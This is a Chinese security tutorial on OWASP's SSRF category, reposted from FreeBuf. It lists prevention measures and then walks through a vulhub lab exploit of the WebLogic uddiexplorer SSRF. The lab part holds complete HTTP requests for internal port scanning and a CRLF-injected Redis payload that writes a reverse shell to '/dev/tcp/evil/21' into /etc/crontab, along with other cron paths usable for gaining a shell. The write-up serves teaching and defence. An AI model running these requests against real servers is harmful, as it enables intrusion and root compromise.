因素
描述
如何预防
From Network layer(从网路层着手)
-
将远端资源存取功能切割成不同子网路以降低伪造服务端请求之冲击 -
于防火墙政策或于网路存取控制规则实施"预设全拒绝(deny by default)" ,以封锁全部来自外部之网路流量
rom Application layer:(从应用层)
-
过滤并验证来自于用户端提供之全部输入 -
以正面表列方式列出 URL、port、目的地清单 -
不传送原始回应给用户端 -
停用 HTTP 重新导向 -
留意网址之一致性,以避免例如 DNS rebinding 攻击、TOCTOU 攻击
Example Attack Scenarios (攻击情境范例)
实际案例-vulhub
Weblogic SSRF漏洞
测试环境搭建
docker-compose up -d
访问 http://your-ip:7001/uddiexplorer/
,无需登录即可查看uddiexplorer应用。
SSRF漏洞测试
SSRF漏洞存在于 http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
,我们在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:80
:GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
(向右滑动、查看更多)
可访问的端口将会得到错误,一般是返回status code(如下图),如果访问的非http协议,则会返回 did not have a valid SOAP content-type
。修改为一个不存在的端口,将会返回 could not connect over HTTP to server
。通过错误的不同,即可探测内网状态。
注入HTTP头,利用Redis反弹shell
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入 %0a%0d
来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现 172.18.0.2:6379
可以连通:发送三条redis命令,将弹shell脚本写入 /etc/crontab
:set 1 "nnnn0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'nnnn"
config set dir /etc/
config set dbfilename crontab
save
(向右滑动、查看更多)
进行url编码: set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
(向右滑动、查看更多)
注意,换行符是“rn”,也就是“%0D%0A”。将url编码后的字符串放在ssrf的域名后面,发送: GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
(向右滑动、查看更多)
成功反弹: 最后补充一下,可进行利用的cron有如下几个地方:
-
/etc/crontab 这个是肯定的。 -
/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。 -
/var/spool/cron/root centos系统下root用户的cron文件。 -
/var/spool/cron/crontabs/root debian系统下root用户的cron文件。
精彩推荐


原文始发于微信公众号(FreeBuf):2021 Owasp Top 10 逐个击破之A10:服务端请求伪造 (SSRF)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论